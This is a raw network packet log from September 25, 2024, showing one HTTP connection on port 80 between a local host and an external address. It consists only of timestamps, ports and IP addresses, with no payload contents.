Sep 25, 2024 03:51:28.001496077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058089018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058166027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058218002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058219910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058273077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058309078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058317900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058358908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058392048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058406115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058423996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058475018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058475971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058504105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058552980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058583021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058584929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058617115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058624983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058650017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058681965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058696032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058731079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058763027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058782101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058799028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058829069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058844090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058860064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058906078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.058923960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058955908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.058989048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059000015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059020996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059067011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059072971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059106112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059138060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059151888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059187889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059221029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059232950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059252024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059286118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059298992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059319019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059350967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059370041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059379101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059427977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059550047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059587002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059617996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059631109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059636116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059653044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059670925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059680939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059689045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059705973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059720993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059722900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059740067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059755087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059756994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059776068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059779882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059830904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.059861898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059880018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.059945107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060112953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060128927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060146093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060162067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060170889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060179949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060195923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060205936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060211897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060228109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060240984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060252905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060270071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060276031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060286999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060303926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060309887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060322046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060337067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060345888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060380936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060708046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060724974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060741901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060756922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060765982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060774088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060791016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060802937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060806990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060822964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060831070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060839891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060858011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060869932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.060877085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.060903072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061126947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061150074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061165094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061172962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061182976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061199903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061204910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061249018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061311960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061328888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061343908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061359882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061367035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061376095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061393976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061399937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061409950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061427116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061435938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.061445951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061454058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061461926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061475992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061491013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.061515093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062076092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062093019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062108040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062124968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062124968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062144041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062149048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062160969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062176943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062187910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062192917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062211037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062227011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062243938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062244892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062284946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062524080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062540054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062556028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062572002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062587976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062604904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062611103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062628984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062643051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062644958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.062654972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.062701941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.092257023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092272043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092288971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092304945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092333078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092349052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092366934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.092366934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092415094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.092462063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.092519999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149130106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149152040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149182081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149214983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149230957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149256945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149260044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149280071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149298906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149315119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149324894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149373055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149394989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149410963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149445057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149497032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149514914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149532080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149543047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149552107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149579048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149590015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149636030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149719000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149735928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149755001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149780035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149780989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149797916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.149821043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.149988890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150007963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150026083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150039911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150042057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150058985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150070906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150077105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150094032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150104046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150142908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150278091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150295019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150312901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150329113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150341034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150347948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150372028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150517941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150533915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150551081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150562048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150568008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150585890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150605917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150620937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150644064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150839090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150856018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150872946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150886059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150892019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150918007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150924921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150933027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150948048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150964022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150964975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150981903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.150995016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.150999069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151015997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151027918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151034117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151051998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151065111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151110888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151330948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151346922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151365042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151381016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151392937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151417971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151426077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151468039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151484966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151501894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151508093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151523113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151539087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151546955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151557922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151573896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151580095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151591063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151607990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151617050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151627064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151645899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.151653051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.151700020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152256966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152275085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152292013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152307987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152314901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152327061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152343988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152349949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152362108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152379036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152388096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152396917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152412891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152422905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152431011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152446985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152457952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152463913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152481079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152493000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152497053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152514935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152525902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152530909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152548075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152560949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152595997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.152903080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152920008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.152975082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153074026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153090954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153110027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153126001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153135061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153145075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153161049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153167963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153178930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153194904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153209925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153225899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153234959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153244972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153249979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153294086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153620005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153637886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153656006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153672934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153691053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153702974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153708935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153709888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153728962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153745890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.153764009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.153969049 CEST	49730	80	192.168.2.4	3.80.28.180
